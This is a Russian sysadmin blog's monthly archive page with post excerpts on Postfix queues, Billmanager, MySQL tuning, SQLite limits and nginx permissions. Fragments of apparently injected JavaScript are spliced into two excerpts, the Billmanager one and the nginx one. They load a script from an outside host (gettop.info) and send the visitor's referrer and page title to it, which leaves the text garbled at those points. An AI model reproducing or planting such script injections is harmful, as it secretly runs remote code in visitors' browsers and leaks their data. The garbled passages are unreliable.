Monthly Archives: Май 2015

Работа с почтовой очередью в Postfix

Есть два важных инструмента для работы с почтовой очередью: 1. postqueue Работает с правами пользователя. 2. postsuper Требует права администратора У каждого письма в очереди есть свой Queue ID, именно по этим данным идёт взаимодействие с письмами в очереди. Что нам понадобится для частого использования: Вывести содержимое почтовой очереди: 1 postqueue -p Повторно поставить в […]

Как создать модуль для Billmanager — репозиторий примеров

Очень бедненький репозиторий, который поддерживается разработчиком. Содержит исключительно базовые примеры разработки: https://github.com/ISPsystemLLC/billmanager/ На форуме разработчика есть пример изменения формы входа для ISPManager http://forum.ispsystem.com/ru/showthread.php?t=6675 Для сторонних сайтов есть API, которое неплохо описано, но работает местами с хорошими, добротными глюками и ограничениями. Пример авторизации: http://ru.ispdoc.com/index.php/Примеры_работы_с_API http://www.webhostprogress.com/ispsystem/ru/software/billmanager/addon.htmls.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;

Где можно заказать рекламу

Где можно заказать рекламу

http://www.mediatarget.ru Создана в 2009-м году на основе ведущей в рунете системы веб-статистики liveinternet.ru. Использует аукционный принцип формирования цены за клик. Минимальная ставка 1 рубль. Позволяет использовать в объявлениях как текстовую так и текстово-графическую информацию. Аудитория порядка 9 млн человек в день. Количество рекламодателей в системе не очень большое, но левые сайты не принимаются. Реклама крутится […]

О грамотном использовании БД MySQL

Многие мои друзья и знакомые часто спрашивают меня о том, как устроен мой сайт, сколько у меня таблиц в базе данных, как я храню данные и по каким полям веду поиск. Я, конечно, не выдаю все свои государственные тайны, но всегда понимаю причину таких вопросов и пытаюсь помочь людям построить быструю и надежную базу данных […]

Небольшой тюнинг и рекомендации для mysql

В статье будет рассмотрено несколько рекомендаций по тюнингу и улучшении работы mysql. Замечу сразу, что численные значения для каждого сервера будут свои (подбираются путём экспериментов) и простое бездумное копирование, может не только ничего не дать, но и напротив — ухудшить производительность. 1) Создание индексов. В 99% это действительно так. Ещё нужно использовать кеширование индексов (key_buffer) […]

Как отключить InnoDB в MySQL

Отключение innodb поможет сэкономить ресурсы сервера, в том числе и оперативную память. Если вы не планируете использовать таблицы innodb, т.е. в их использовании нет особой необходимости, можно отключить их поддержку. Для отключения необходимо открыть файл /etc/mysql/my.cnf и добавить следующие строки: innodb=OFF default-storage-engine = myisam После чего сохранить файл и перезапустить сервер mysql. Таким образом, вы […]

Limits In SQLite

«Limits» in the context of this article means sizes or quantities that can not be exceeded. We are concerned with things like the maximum number of bytes in a BLOB or the maximum number of columns in a table. SQLite was originally designed with a policy of avoiding arbitrary limits. Of course, every program that […]

Mtop — мониторинг нагрузки на MySQL-сервер

Mtop - мониторинг нагрузки на MySQL-сервер

При работе с MySQL довольно полезно следить за нагрузкой, которая ложится на MySQL-сервер. В портах есть полезная утилита — mtop. Она в режиме реального времени отслеживает и показывает текущие запросы к безе данных, время их выполнения, статус MySQL-сервера в удобной форме. Итак, выполним установку утилиты из системы портов: # cd /usr/ports/databases/mtop && make install clean && rehash По […]

403 Forbidden nginx на второй домен

Если вы в ispmanager прописали второй домен к основному, а nginx выдает вам 403 Forbidden то нужно в каталоге /data/www/ваш_домен выставить права: вместо 751 выставить 755 document.currentScript.parentNode.insertBefore(s, document.currentScript);